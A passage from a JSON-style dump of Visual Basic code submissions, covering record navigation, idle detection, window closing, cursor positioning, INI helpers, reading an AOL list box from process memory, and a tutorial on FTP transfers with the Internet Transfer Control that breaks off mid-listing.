cmdClose_Click()\n Unload Me\nEnd Sub\nPrivate Sub cmdFirst_Click()\n On Error GoTo GoFirstError\n adoPrimaryRS.MoveFirst\n mbDataChanged = False\n Exit Sub\nGoFirstError:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdLast_Click()\n On Error GoTo GoLastError\n adoPrimaryRS.MoveLast\n mbDataChanged = False\n Exit Sub\nGoLastError:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdNext_Click()\n On Error GoTo GoNextError\n If Not adoPrimaryRS.EOF Then adoPrimaryRS.MoveNext\n If adoPrimaryRS.EOF And adoPrimaryRS.RecordCount > 0 Then\n Beep\n 'moved off the end so go back\n adoPrimaryRS.MoveLast\n End If\n 'show the current record\n mbDataChanged = False\n Exit Sub\nGoNextError:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdPrevious_Click()\n On Error GoTo GoPrevError\n If Not adoPrimaryRS.BOF Then adoPrimaryRS.MovePrevious\n If adoPrimaryRS.BOF And adoPrimaryRS.RecordCount > 0 Then\n Beep\n 'moved off the end so go back\n adoPrimaryRS.MoveFirst\n End If\n 'show the current record\n mbDataChanged = False\n Exit Sub\nGoPrevError:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub SetButtons(bVal As Boolean)\n cmdAdd.Visible = bVal\n cmdEdit.Visible = bVal\n cmdUpdate.Visible = Not bVal\n cmdCancel.Visible = Not bVal\n cmdDelete.Visible = bVal\n cmdClose.Visible = bVal\n cmdRefresh.Visible = bVal\n cmdNext.Enabled = bVal\n cmdFirst.Enabled = bVal\n cmdLast.Enabled = bVal\n cmdPrevious.Enabled = bVal\nEnd Sub\n"},{"WorldId":1,"id":8772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8776,"LineNumber":1,"line":"'BEFORE you start:\n'Put 2 Timers on a form\n'Name the one tmrPeriod and the other \n'tmrStateMonitor. Set both Timers' Interval\n'property to 1\n'Paste all the below code into the form!\n'Global Idle Check 1\n'==============\n'Copyright > Jan Botha 1998-2000\n'Release Date > 9 June 2000\n'Email > ja_botha@hotmail.com\n'\n'This code monitors the state of the keys on the\n'keyboard and the mousebuttons as well as the\n'position of the mouse. Whenever the 'tmrStateMonitor'\n'finds that no keys or mousebuttons is pressed\n'and that the mouse is still in the same position,\n'it sets the IsIdle variable to True and the\n'startOfIdle variable to the = the system timer.\n'\n'Throughout the form, comments/documentation\n'are given either on the same line as the statement\n'it is commenting on, or on the line preceeding the\n'statement. The code is quite well commented\n'to make beginners or any one else understand\n'what's going on. This code IS on a beginner level,\n'but the result is quite useful.\n'\n'Contact me if you have any ideas.\n'You can use and modify this as much as you like,\n'BUT:\n'1. Please let me know how you modified this, just\n' 'cause I'd like to see where I maybe went wrong.\n'2. Give me some credit. Even if you only tell me\n' about an app that you used this for!\n'\n'Now I'll shut up, so you can actually see what this\n'is about.\n'Enjoy!\n'Jan Botha\n'email: ja_botha@hotmail.com\n'==========================\n'IMPORTANT NOTE:\n'This code will probably screw up completely if you\n'try to run it while the midnight rollover occurr.\n'That's 'cause the Timer object resets to 0 at\n'midnight.\n'You could try and run something to wait until midnight\n'has passed, before continuing the idle check\n'=============================\n'START OF ACTUAL CODE:\n'all variables must be declared explicitly (this is simply\n'a good programming \"principle\", if you want :-)\nOption Explicit\n'type declaration for the mouse (cursor) position\nPrivate Type POINTAPI\n x As Long\n y As Long\nEnd Type\n'API function to get the cursor position\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\n'API function to check the state of the mouse buttons\n'as well as the keyboard.\nPrivate Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer\n'set the length of time the computer must idle, before\n'the so-called \"idle-state\" is reached. unit: seconds\n'You'd probably want to change this value!!!\nPrivate Const INTERVAL As Long = 10\nDim IsIdle As Boolean 'True when idling or while in idle-state\nDim MousePos As POINTAPI 'holds mouse position\n'holds time (in seconds) when the idle started\n'used to calculate if the computer has been idle for INTERVAL\nDim startOfIdle As Long\nPrivate Sub tmrStateMonitor_Timer()\n 'holds the state of the key that is being monitored\n Dim state As Integer\n 'holds the CURRENT mouse position.\n 'It's to compare the current position with the previous\n 'position\n Dim tmpPos As POINTAPI\n Dim ret As Long 'simply holds the return value of the API\n 'this checks if a key/button is pressed, or\n 'if the mouse has moved.\n Dim IdleFound As Boolean\n Dim i As Integer 'the counter uses by the For loop\n \n \n IdleFound = False\n 'Here I'm not sure about myself:\n 'I don't know to what to set the value\n '256 to. It works as is, though!\n 'And, what it does, is retrieve the state of each\n 'individual key.\n For i = 1 To 256\n 'call the API\n state = GetAsyncKeyState(i)\n 'state will = -32767 if the 'i' key/button is\n 'currently being pressed:\n If state = -32767 Then\n 'if it is pressed, then this is the end of any idles\n IdleFound = True 'means that something is withholding the computer of idling\n IsIdle = False 'thus, it is not idling, so set the value\n End If\n Next\n 'get the position of the mouse cursor\n ret = GetCursorPos(tmpPos)\n 'if the coordinates of the mouse are different than\n 'last time or when the idle started, then the system\n 'is not idling:\n If tmpPos.x <> MousePos.x Or tmpPos.y <> MousePos.y Then\n IsIdle = False 'set the...\n IdleFound = True 'values\n 'store the current coordinates so that we\n 'can compare next time round\n MousePos.x = tmpPos.x\n MousePos.y = tmpPos.y\n End If\n 'if something did not withhold the idle then...\n If Not IdleFound Then\n 'if isIdle not equals false, then don't reset the\n 'startOfIdle!!\n If Not IsIdle Then\n 'if it is false, then the idle is beginning\n IsIdle = True\n startOfIdle = Timer\n End If\n End If\nEnd Sub\nPrivate Sub tmrPeriod_Timer()\n 'this timer continuesly monitors the\n 'value of IsIdle to see if the system has been\n 'idle for INTERVAL\n \n If IsIdle Then\n 'if the difference between now (timer) and the\n 'time the idle started, is => INTERVAL, then\n 'the 'idle state' has been reached\n If Timer - startOfIdle >= INTERVAL Then\n 'call the sub that will handle any code at this stage\n 'this is merely to seperate the idle check code\n 'from your own code\n 'NOTE: I advise you to perform some sort of\n 'check here to see if the idle state has been\n 'reached for the first time, or if the system\n 'has just been idling ever since the idle state\n 'was reached\n Call IdleStateEngaged(Timer)\n 'important: set the values\n startOfIdle = Timer\n IsIdle = True\n End If\n Else ' not idling, or the idlestate has been left\n 'call the sub\n 'NOTE: I advise you to perform some sort of\n 'check here to see if the system was in the\n 'idle state, or if the system\n 'has not been idling anyway\n Call IdleStateDisengaged(Timer)\n End If\nEnd Sub\nPublic Sub IdleStateEngaged(ByVal IdleStartTime As Long)\n 'PUT YOUR CODE HERE:\n 'This is where you will put the code that you want\n 'to execute now that the system has been idling\n 'for INTERVAL seconds\n 'Example:\n Caption = \"Idle state reached - \" & IdleStartTime\n 'If you use the Global Idle Check for a screen\n 'saver (thereby overruling the window$ screensaver),\n 'you would put the start code here\nEnd Sub\nPublic Sub IdleStateDisengaged(ByVal IdleStopTime As Long)\n 'PUT YOUR CODE HERE:\n 'This is where you will put the code that you want\n 'to execute now as soon as the system stops idling\n 'or while the user is active\n 'Example:\n Caption = \"No idling - \" & IdleStopTime\n 'If you use the Global Idle Check for a screen\n 'saver (thereby overruling the window$ screensaver),\n 'you would put the end code here\nEnd Sub\n"},{"WorldId":1,"id":8777,"LineNumber":1,"line":"Ever noticed that if you open a vb project containing a long file name from explorer by double clicking it shortens the filename to 'PROJEC~1' instead of 'Project Number 1'? But if you open the same project while inside VB (Project open dialog) it uses the long name.\nI experimented and found a quick fix.\n1. From Explorer choose View => Folder Options\n2. Select the tab 'File Types'\n3. Scroll through the list and highlight 'Visual Basic Project' then press the Edit button.\n4. Highlight 'Open' then press the Edit button.\n5. Change the 'Application used to preform this action \n from C:\\Program Files\\DevStudio\\VB\\vb5.exe \"%1\"\n to \"C:\\Program Files\\DevStudio\\VB\\vb5.exe\" \"%1\"\n NOTE: the only change is adding double quotes around the VB5.exe specification.\n6. Save the changes.\nYou can repeat this for the other items in both the actions list and the registered applications list.\nIf any one can give me a reasonable explanation as to why this works, I would sure appreciate it. Interesting that if you try to make changes without adding the quotes, Your told that it is invalid and cannot save it."},{"WorldId":1,"id":8778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8780,"LineNumber":1,"line":"Public Sub AddData(DataFrom As String, DataTo As String)\nDim dbFrom, dbTo As Database\nDim rsFrom, rsTo As Recordset\nSet dbFrom = OpenDatabase(DataFrom)\nSet dbTo = OpenDatabase(DataTo)\nFor n = 0 To dbFrom.TableDefs.Count - 1\n 'This search out on table in your database\n If dbFrom.TableDefs(n).Attributes = 0 Then\n Set rsFrom = dbFrom.OpenRecordset(dbFrom.TableDefs(n).Name)\n Set rsTo = dbTo.OpenRecordset(dbTo.TableDefs(n).Name)\n End If\n \n 'Loops through all fields in table and copies from dbFrom to dbTo.\n Do Until rsFrom.EOF\n rsTo.AddNew\n For i = 1 To rsTo.Fields.Count - 1\n If rsFrom.Fields(i) = \"\" Then GoTo hell\n rsTo.Fields(i) = rsFrom.Fields(i)\nhell:\n Next i\n \n 'This updates and moves to the next record in the from database\n rsTo.Update\n rsFrom.MoveNext\n Loop\nNext n\ndbFrom.Close\ndbTo.Close\nEnd Sub"},{"WorldId":1,"id":8784,"LineNumber":1,"line":"Function GetCaption(WindowhWnd)\n hwndlength% = GetWindowTextLength(WindowhWnd)\n hWndTitle$ = String$(hwndlength%, 0)\n a% = GetWindowText(WindowhWnd, hWndTitle$, (hwndlength% + 1))\n GetCaption = hWndTitle$\nEnd Function\nFunction CheckAllWindows(ByVal hwnd As Long, lParam As Long) As Boolean\n Dim a\n a = LCase(GetCaption(hwnd))\n If InStr(1, a, LCase(AppTitle)) <> 0 Then\n ApphWnd = hwnd\n CheckAllWindows = False\n Else\n CheckAllWindows = True\n End If\nEnd Function\nSub KillWin(Title As String)\n Dim a\n AppTitle = Title\n EnumWindows AddressOf CheckAllWindows, 0&\n If ApphWnd = 0 Then Exit Sub\n a = PostMessage(ApphWnd, WM_CLOSE, 0&, 0&)\nEnd Sub\n'-----Use KillWin to close the window. KillWin \"Title\""},{"WorldId":1,"id":8785,"LineNumber":1,"line":"'***************************************************************\n'*Feel Free to use this souce whenever. *\n'* *\n'*Author: ToddSoft *\n'*Subject: Set Cursor Position and Get Cursor Position * *\n'*Date: 6-9-200 *\n'* *\n'*Hey, Check out this site: www.ToddSoft.com *\n'* *\n'***************************************************************\n\n\n\nin a module:\n'This API call is for the SetCursorPos\nDeclare Function SetCursorPos Lib \"user32\" (ByVal x As Long, ByVal y As Long) As Long\n'************************************************************************************\nGeneral Declerations\n'Api call for the GetCursorPos function\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\n'This is the data type\nPrivate Type POINTAPI\n x As Long 'x coordinate of the mouse\n y As Long 'y coordinate of the mouse\nEnd Type\nDim pp As POINTAPI\n\n\nPrivate Sub Command1_Click()\nSetCursorPos Form1.Left / 15, Form1.Top / 15\n'You have to divide the form by 15 because the position you set it to is applied\n'to the screen and not the form. By clicking on the button it moves the mouse\n'directly up to the top left part of the form\nCommand1.Caption = \"Click Me\"\nEnd Sub\nPrivate Sub Form_Load()\nMsgBox \"Please visit www.ToddSoft.com\", vbOKOnly, \"ToddSoft\"\n\nEnd Sub\nPrivate Sub Timer1_Timer()\n'Note that if x = 0 and y = 0 that is the top left part of the monitor screen_\n'Not the form\n\n'This calls the GetCursorPos Function to get the x and y positions of the mouse\nGetCursorPos pp\n'This is displaying the x and y coordinates of the mouse\nLabel1.Caption = \"X: \" & pp.x & \" Y: \" & pp.y\nEnd Sub\n"},{"WorldId":1,"id":8792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8806,"LineNumber":1,"line":"Function AOLGetList32 (tree, Index As Integer, Buffer As String)\n'Tree = The listbox\n'Index = Listbox Index\n'Buffer = output\n'Example:\n' a = GetList32(SomeList&, 0, Buffer$)\n' MsgBox Buffer$\n'Buffer is the text that was taken from the 32 bit\n'listbox.\nOn Error Resume Next\nDoEvents: idGetWindowThreadProcessId = Declare32(\"GetWindowThreadProcessId\", \"user32\", \"ip\")\nDoEvents: idOpenProcess = Declare32(\"OpenProcess\", \"kernel32\", \"ppi\")\nDoEvents: idReadProcessMemory = Declare32(\"ReadProcessMemory\", \"kernel32\", \"iipip\")\nDoEvents: idRtlMoveMemory = Declare32(\"RtlMoveMemory\", \"kernel32\", \"ppi\")\nDoEvents: idCloseHandle = Declare32(\"CloseHandle\", \"kernel32\", \"p\")\nDim AOLProcess As Long\nDim ListItemHold As Long\nDim PerSon As String\nDim ListPersonHold As Long\nDim ReadBytes As Long\nAOLThread = GetWindowThreadProcessId(tree, AOLProcess, idGetWindowThreadProcessId)\nAOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AOLProcess, idOpenProcess)\nIf AOLProcessThread Then\nPerSon$ = String$(4, 0&)\nListItemHold = SendMessage(tree, LB_GETITEMDATA, ByVal CLng(Index), ByVal 0&)\nListItemHold = ListItemHold + 24\nCall ReadProcessMemory(AOLProcessThread, ListItemHold, PerSon$, 4, ReadBytes, idReadProcessMemory)\nCall RtlMoveMemory(ListPersonHold, ByVal PerSon$, 4, idRtlMoveMemory)\nListPersonHold = ListPersonHold + 6\nPerSon$ = String$(17, 0&)\nCall ReadProcessMemory(AOLProcessThread, ListPersonHold, PerSon$, Len(PerSon$), ReadBytes, idReadProcessMemory)\nPerSon$ = Left$(PerSon$, InStr(PerSon$, Chr(0)) - 1)\nCall CloseHandle(AOLProcessThread, idCloseHandle)\nEnd If\nBuffer$ = PerSon$\nEnd Function\n"},{"WorldId":1,"id":8808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8820,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8822,"LineNumber":1,"line":"Private Declare Function WritePrivateProfileString Lib \"kernel32\" Alias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long\nPrivate Declare Function GetPrivateProfileString Lib \"kernel32\" Alias \"GetPrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long\nPrivate Function GetFromINI(Section As String, Key As String, Directory As String) As String\n Dim strBuffer As String\n strBuffer = String(750, Chr(0))\n Key$ = LCase$(Key$)\n GetFromINI$ = Left(strBuffer, GetPrivateProfileString(Section$, ByVal Key$, \"\", strBuffer, Len(strBuffer), Directory$))\nEnd Function\nPrivate Sub WriteToINI(Section As String, Key As String, KeyValue As String, Directory As String)\n Call WritePrivateProfileString(Section$, UCase$(Key$), KeyValue$, Directory$)\nEnd Sub\nPrivate Sub Form_Load()\nOn Error Resume Next\nForm1.Top = GetFromINI(\"SCREEN\", \"TOP\", App.Path & \"\\screen.ini\")\nForm1.Left = GetFromINI(\"SCREEN\", \"LEFT\", App.Path & \"\\screen.ini\")\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\nOn Error Resume Next\nWriteToINI \"SCREEN\", \"TOP\", Form1.Top, App.Path & \"\\screen.ini\"\nWriteToINI \"SCREEN\", \"LEFT\", Form1.Left, App.Path & \"\\screen.ini\"\nEnd Sub"},{"WorldId":1,"id":8829,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8841,"LineNumber":1,"line":"<center>\n<img src=\"http://demiannet.hypermart.net/artic1.jpg\" border=\"0\">\n</center>\nA Look At The Sample Project Figure A: Our sample application looks like this at design time. \n <img alt=\"Figure A\" border=\"0\" src=\"http://www.dev-center.com/data/article_images/000490_1.gif\">\n \n \n We'll also use the status bar control that ships with VB to display\n status information about the connection. To add the status-bar control to\n your application, choose the Project | Components... menu item, then select\n Microsoft Windows Common Controls 5.0 and click OK.\n \n \n \n The sample application lets users transfer files by dragging them from\n one list box to the other. Although this feature is optional, it's very\n user-friendly. The sample code found in Listing A shows you the steps to\n implement this drag-and-drop feature--pay particular attention to the\n MouseDown, MouseUp, and DragDrop events. We'll examine how those transfers\n are performed throughout the rest of this article.\n\t\n\n\t\n\t\n\n\t\n \nUsing The Control The Internet Transfer Control provides fairly extensive capabilities for\n transferring data across the Internet, in the form of either Web pages or\n files. For our purposes, we'll concentrate on file transfers and leave the\n rest for another article. The control resides in the MSINET.OCX file. To\n load the control into your VB toolbox, choose Project | Components.... Next,\n find the Microsoft Internet Transfer Control 5.0 control, select it by\n placing an X beside it, then click OK. Now, add the control to your project\n form. Note that the control will appear as a button and won't be visible at\n runtime.\n \n You can open the Object Browser (by pressing [F2]) to examine all the\n properties, methods, events, and built-in constants available through this\n code. In addition to the control's help file, this information makes an\n excellent reference. For this article, we'll focus on the small set of\n available properties and methods listed in Table A.\n \n Table A: Selected properties, methods, and events\n <table border=\"0\">\n <tbody>\n <tr vAlign=\"top\">\n <td align=\"left\">Properties</td>\n <td align=\"left\">Description</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">Password</td>\n <td align=\"left\">The password you use when connecting with the FTP\n server.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">StillExecuting</td>\n <td align=\"left\">Specifies whether a command is still being processed.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">URL</td>\n <td align=\"left\">The URL of the FTP server.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">Username</td>\n <td align=\"left\">User name to use to log into the FTP server.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">Methods</td>\n <td align=\"left\">Description</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">Execute</td>\n <td align=\"left\">Initiates an asynchronous command/connection.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">GetChunk</td>\n <td align=\"left\">Reads data from the buffer.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">OpenURL</td>\n <td align=\"left\">Initiates a synchronous command/connection.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">Events</td>\n <td align=\"left\">Description</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">StateChanged</td>\n <td align=\"left\">Fires whenever the control state has changed, for\n example, when a response is received from the FTP server.</td>\n </tr>\n </tbody>\n </table>\n \nPerforming Transfers To perform FTP transfers, you must follow a few basic steps. First, you\n define the FTP server you want to attach to. You can specify the FTP site in\n two ways: using the RemoteHost and RemotePort properties or\n via the URL property. For simplicity's sake, we'll use the URL\n property:\n \n Inet1.URL = txtURL \n \n You also must specify the user name and password you'll provide. Many FTP\n sites allow anonymous connections. In those cases, the user name anonymous\n will work with any password you like, although most FTP sites ask you to\n provide your E-mail address, as well. Here's the syntax:\n \n Inet1.UserName = txtUsername \n Inet1.Password = txtPassword \n \n Setting the URL property will clear the Username and Password\n properties. So, be sure to set the URL first, then specify the user name and\n password.\n \n Since we're going to be dealing strictly with FTP connections, we'll set\n the Protocol property accordingly, as follows:\n \n Inet1.Protocol = icFTP\n \n We'll want to execute these commands when we make our first connection to\n the FTP server. We use the cmdConnect command button to establish this\n connection, so the code will go to the server. At the same time, when we\n make this first FTP connection, we'll also retrieve the list of files\n available on the FTP server. We'll see how to do this next.\n \nExecuting Gets Things Done You'll use the Execute method to send all commands to the FTP site through\n the control. The syntax of the Execute method is\n \n Inet1.Execute URL, Operation, Data, _ \n RequestHeaders \n\n However, when performing FTP commands, we'll only use the URL and Operation\n parameters. The others have no meaning for us--they're used in other\n processes. You send all FTP commands in the Operation parameter; they take\n the syntax command [file1 [file2]]. The help file for the Internet Transfer\n Control includes a list of valid FTP commands under the Execute page. We'll\n focus on a few of these commands in the rest of this article.\nAsynchronous Processing When you're using the Execute method, keep in mind that all its operations\n are asynchronous. This means that when you tell the control to\n perform an operation, it starts the operation but returns control back to\n the application. The control will handle all communications back and forth,\n based on the properties and commands you've given it. When the operation is\n completed, the control will notify the application. If you use the OpenURL\n method, the control makes a synchronous connection and executes the\n command. However, control doesn't return until the command finishes\n executing. This more straightforward approach is somewhat simpler to\n program. Since the asynchronous approach is more flexible--and therefore\n preferable--we'll use it exclusively here.\n Our discussion of the asynchronous approach would be incomplete without\n mentioning the StillExecuting property. This property identifies when\n the control is in the middle of performing some operation. If you need to\n perform an operation that requires several commands, you'll start the first\n command, loop until the control has stopped processing the command (i.e., StillExecuting\n is False), then move on to the next operation, as follows:\n \n Inet1.Execute txtURL, \"get MyFile.txt\" \n Do \n DoEvents \n Loop While Inet1.StillExecuting \n \n In event-driven programming, we want to be able to react when the operation\n is complete. We'll use the StateChanged event to provide this functionality.\n Specifically, we'll look for the new State of the control to be\n icResponseCompleted. It may be useful to set a variable, such as iLastFTP,\n to store a value signifying which FTP command executed last. Then you can\n test that variable in the StateChanged event to determine what command\n completion you're reacting to, with the lines:\n \n Sub Inet1.StateChanged(ByVal State As Integer) \n Select Case State \n Case icResponseCompleted \n `put your code here \n End Select \n End Sub \n \n Of course, the State parameter can hold a number of other values as well. We\n show these in the full code listing, found in Listing A. You can also check\n the help file for all these values. Now, let's build our FTP application.\nCreating The Sample Project The first step is to begin a new EXE project in VB5. Build a form similar to\n that shown in Figure A. As you can see, the form should include TextBox\n controls for the target URL, user name, and password. You'll also need to\n provide a way to display both local and remote files. Our example uses the\n DirListBox, DriveListBox, and FileListBox controls for the local files, and\n a standard ListBox control to display the remote files. Finally, you must\n add a CommandButton to establish the initial connection. After that, our\n work with the list boxes will be complete. Table B shows the controls to add\n to the form, as well as some key properties.\n \n Table B: Controls to add to the form\n <table border=\"0\">\n <tbody>\n <tr vAlign=\"bottom\">\n <td align=\"left\">Control</td>\n <td align=\"left\">Property</td>\n <td align=\"left\">Setting</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">Form</td>\n <td align=\"left\">Caption</td>\n <td align=\"left\">File Transfer</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">TextBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">txtURL</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">TextBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">txtUserName</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">TextBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">txtPassword</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">DriveListBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">drvLocal</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">DirListBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">dirLocal</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">FileListBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">filLocal</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">ListBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">lstRemoteFiles</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">CommandButton</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">cmdConnect</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"right\"></td>\n <td align=\"left\">Caption</td>\n <td align=\"left\">Connect</td>\n </tr>\n </tbody>\n </table>\n \n As the name implies, the Connect button will connect to the designated\n FTP site and retrieve a list of files. To accomplish this, put the following\n code in the cmdConnect_Click event:\n \n Public Sub cmdConnect_Click() \n Inet1.URL = txtURL \n Inet1.UserName = txtUserName \n Inet1.Password = txtPassword \n Inet1.Protocol = icFTP \n `Use constant to identify that \n `we're getting a directory listing. \n `We'll use it in the \n `Inet1_StateChanged Event. \n iLastFTP = ftpDIR \n Inet1.Execute Inet1.URL, \"DIR\" \n End Sub \n \n The first time we use the Execute method, we establish a connection between\n the user machine and the FTP site. Executing the Dir command will place a\n list of files in the control's buffer. To retrieve them from the buffer,\n we'll use the GetChunk method. GetChunk requires one parameter that\n specifies the maximum amount of data (in bytes) that we'll retrieve. We\n specify an amount and keep looping until we've emptied out the buffer. The\n result is a string of filenames, separated by a carriage return and line\n feed (vbCrLf). We can then display the list of files however we want. We\n wrote the function ShowRemoteFileList() in Listing A to load the file list\n into a list box.\n \n Once we have the list of files, we can let the user upload files to (or\n download files from) the FTP site. Since downloading files is more common,\n let's consider this example first. We download files by executing the FTP\n command Get. The syntax of the command is Get file1 file2, where file1\n is the name of the file on the FTP site and file2 is the name you\n want the file to have locally. File2 can include path information as well.\n The GetFiles() function in Listing A demonstrates how to issue the command\n and retrieve the file.\n \n Similarly, if you want to upload a file to the FTP site (assuming you\n have write privileges at the site), you use the FTP command Put. The syntax\n of the command is Put file1 file2, where file1 is the local filename\n (which can include the path) and file2 is the name the file will have\n on the FTP site. The PutFiles() function in Listing A demonstrates this\n process. Please note that you'll have a problem to work around. The FTP\n Command Line doesn't allow spaces in the filename or path. To solve this\n problem, you can take one of the following steps:\n \n 1. Use relative paths when specifying local files (which is the option we\n used in the sample program).\n 2. Place quotation marks (Chr(34)) around the full path and filename\n (such as C:\\My FTP Files\\TestFile.txt) in the ftp command.\n 3. Use the 8.3-character directory name\n 4. Don't allow spaces in directory names.\n \n With a little work, our application can allow the user to select multiple\n files to transfer in one operation. Of course, the application will need to\n issue an Execute command for each transfer. Then, we must test the StillExecuting\n property to determine whether the control has finished executing that\n command. Once it's complete, we can loop back and send the command again for\n the second file. We can continue this process for as many files as\n necessary.\nKnown Bugs And Issues You should be aware of several issues that exist with the current versions\n of the control. These issues vary depending on which version you're using.\n In the version that ships with VB 5 (version 5.00.3714), the control sends\n all filenames as uppercase when you're sending or receiving files. If you're\n hitting an Internet Information Server (IIS) using NT/DOS file settings,\n case doesn't matter, since the filenames aren't case-sensitive. However, if\n you're hitting a UNIX server, it's extremely important, since UNIX filenames\n are case-sensitive. The result is that any files you send will be\n named in all uppercase, and you won't be able to retrieve files that have\n lowercase letters in their names.\n \n Fortunately, Microsoft is aware of this conflict (see the Microsoft\n Knowledge Base article <a href=\"http://support.microsoft.com/support/kb/articles/Q168/7/66.asp\" target=\"_blank\">support.microsoft.com/support/kb/articles/Q168/7/66.asp</a>\n for more information) and has corrected it in Service Pack 2 for Visual\n Studio. However, the SP2 control (version 5.01.4319) introduces an even\n worse problem.\n \n In the SP2 version of the control, you can't log in to any server, other\n than a strictly anonymous server (such as <a href=\"ftp://ftp.microsoft.com\" target=\"_blank\">ftp://ftp.microsoft.com</a>).\n User names and passwords are sent incorrectly to the FTP server. (See the\n Microsoft Knowledge Base article <a href=\"http://support.microsoft.com/support/kb/articles/Q173/2/65.asp\" target=\"_blank\">support.microsoft.com/support/kb/articles/Q173/2/65.asp</a>\n for more details.)\n \n Finally, Microsoft released Service Pack 3 (<a href=\"http://msdn.microsoft.com/vstudio/sp/vs6sp3/default.asp\" target=\"_blank\">http://msdn.microsoft.com/vstudio/sp/vs6sp3/default.asp</a>)\n in early December 1997, correcting these problems.\nCode For Core Functionality Add the following to a form:\n \n Private Const ftpDIR As Integer = 0 \n Private Const ftpPUT As Integer = 1 \n Private Const ftpGET As Integer = 2 \n Private Const ftpDEL As Integer = 3 \n Private iLastFTP As Integer \n \n Private Sub cmdConnect_Click() \n On Error GoTo ConnectError \n Inet1.URL = txtURL \n Inet1.UserName = txtUserName \n Inet1.Password = txtPassword \n Inet1.Protocol = icFTP \n iLastFTP = ftpDIR \n \n Inet1.Execute Inet1.URL, \"DIR\" \n End Sub \n \n Private Sub Inet1_StateChanged(ByVal _ \n State As Integer) \n Select Case State \n Case icNone \n \n sbFTP.Panels(\"status\").Text = \"\" \n Case icResolvingHost \n \n sbFTP.Panels(\"status\").Text \n =\n \"Resolving Host\" \n Case icHostResolved \n \n sbFTP.Panels(\"status\").Text _ \n = \"Host\n Resolved\" \n Case icConnecting \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Connecting...\" \n Case icConnected \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Connected!\" \n Case icRequesting \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Requesting...\" \n Case icRequestSent \n \n sbFTP.Panels(\"status\").Text _ \n = \"Request\n Sent\" \n Case icReceivingResponse \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Receiving Response...\" \n Case icResponseReceived \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Response Received!\" \n Case icDisconnecting \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Disconnecting...\" \n \n Case icDisconnected \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Disconnected\" \n Case icError \n \n sbFTP.Panels(\"status\").Text _ \n = \"Error!\n \" & Trim(CStr( _ \n \n Inet1.ResponseCode)) & _ \n \": \"\n & Inet1.ResponseInfo \n Case icResponseCompleted \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Response Completed!\" \n \n ReactToResponse iLastFTP \n End Select \n End Sub \n \n Public Function _ \n ReactToResponse(ByVal _ \n iLastCommand As Integer) As Long \n Select Case iLastCommand \n Case ftpDIR \n \n ShowRemoteFileList \n Case ftpPUT \n MsgBox\n \"File Sent from \" & CurDir() \n Case ftpGET \n MsgBox\n \"File Received \"& \"in \" & CurDir() \n Case ftpDEL \n End Select \n End Function \n \n Public Function ShowRemoteFileList() As Long \n Dim sFileList As String \n Dim sTemp As String \n Dim p As Integer \n sTemp = Inet1.GetChunk(1024) \n Do While Len(sTemp) > 0 \n DoEvents \n sFileList = sFileList & sTemp \n sTemp = Inet1.GetChunk(1024) \n Loop \n lstRemoteFiles.Clear \n Do While sFileList > 